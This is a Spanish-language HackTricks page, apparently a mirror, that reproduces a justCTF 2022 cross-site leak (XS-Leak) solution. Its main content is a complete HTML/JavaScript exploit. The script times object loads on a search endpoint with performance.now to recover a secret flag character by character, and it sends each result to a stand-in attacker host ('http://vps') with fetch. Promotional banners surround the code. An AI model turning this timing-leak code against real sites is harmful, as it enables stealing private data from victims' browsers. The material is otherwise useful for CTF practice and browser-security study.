mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-02 17:41:04 +00:00
128 lines
6.1 KiB
Markdown
128 lines
6.1 KiB
Markdown
|
# performance.now + Tarea pesada forzada
|
||
|
|
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
|
||
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
|
||
|
|
</details>
|
||
|
|
|
||
|
|
Exploit tomado de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
|
||
|
|
|
||
|
|
En este desafío, el usuario podía enviar miles de caracteres y si la bandera estaba contenida, los caracteres se enviarían de vuelta al bot. Por lo tanto, al poner una gran cantidad de caracteres, el atacante podría medir si la bandera estaba contenida en la cadena enviada o no.
|
||
|
|
|
||
|
|
{% hint style="warning" %}
|
||
|
|
Inicialmente, no establecí el ancho y la altura del objeto, pero más tarde descubrí que es importante porque el tamaño predeterminado es demasiado pequeño para marcar una diferencia en el tiempo de carga.
|
||
|
|
{% endhint %}
|
||
|
|
```html
|
||
|
|
<!DOCTYPE html>
|
||
|
|
<html>
|
||
|
|
<head>
|
||
|
|
|
||
|
|
</head>
|
||
|
|
<body>
|
||
|
|
<img src="https://deelay.me/30000/https://example.com">
|
||
|
|
<script>
|
||
|
|
fetch('https://deelay.me/30000/https://example.com')
|
||
|
|
|
||
|
|
function send(data) {
|
||
|
|
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
|
||
|
|
}
|
||
|
|
|
||
|
|
function leak(char, callback) {
|
||
|
|
return new Promise(resolve => {
|
||
|
|
let ss = 'just_random_string'
|
||
|
|
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
|
||
|
|
let start = performance.now()
|
||
|
|
let object = document.createElement('object');
|
||
|
|
object.width = '2000px'
|
||
|
|
object.height = '2000px'
|
||
|
|
object.data = url;
|
||
|
|
object.onload = () => {
|
||
|
|
object.remove()
|
||
|
|
let end = performance.now()
|
||
|
|
resolve(end - start)
|
||
|
|
}
|
||
|
|
object.onerror = () => console.log('Error event triggered');
|
||
|
|
document.body.appendChild(object);
|
||
|
|
})
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
send('start')
|
||
|
|
|
||
|
|
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
|
||
|
|
let flag = 'justCTF{'
|
||
|
|
|
||
|
|
async function main() {
|
||
|
|
let found = 0
|
||
|
|
let notFound = 0
|
||
|
|
for(let i=0;i<3;i++) {
|
||
|
|
await leak('..')
|
||
|
|
}
|
||
|
|
for(let i=0; i<3; i++) {
|
||
|
|
found += await leak('justCTF')
|
||
|
|
}
|
||
|
|
for(let i=0; i<3; i++) {
|
||
|
|
notFound += await leak('NOT_FOUND123')
|
||
|
|
}
|
||
|
|
|
||
|
|
found /= 3
|
||
|
|
notFound /= 3
|
||
|
|
|
||
|
|
send('found flag:'+found)
|
||
|
|
send('not found flag:'+notFound)
|
||
|
|
|
||
|
|
let threshold = found - ((found - notFound)/2)
|
||
|
|
send('threshold:'+threshold)
|
||
|
|
|
||
|
|
if (notFound > found) {
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
// exploit
|
||
|
|
while(true) {
|
||
|
|
if (flag[flag.length - 1] === '}') {
|
||
|
|
break
|
||
|
|
}
|
||
|
|
for(let char of charset) {
|
||
|
|
let trying = flag + char
|
||
|
|
let time = 0
|
||
|
|
for(let i=0; i<3; i++) {
|
||
|
|
time += await leak(trying)
|
||
|
|
}
|
||
|
|
time/=3
|
||
|
|
send('char:'+trying+',time:'+time)
|
||
|
|
if (time >= threshold) {
|
||
|
|
flag += char
|
||
|
|
send(flag)
|
||
|
|
break
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
main()
|
||
|
|
|
||
|
|
</script>
|
||
|
|
</body>
|
||
|
|
|
||
|
|
</html>
|
||
|
|
```
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
|
||
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
|
||
|
|
</details>
|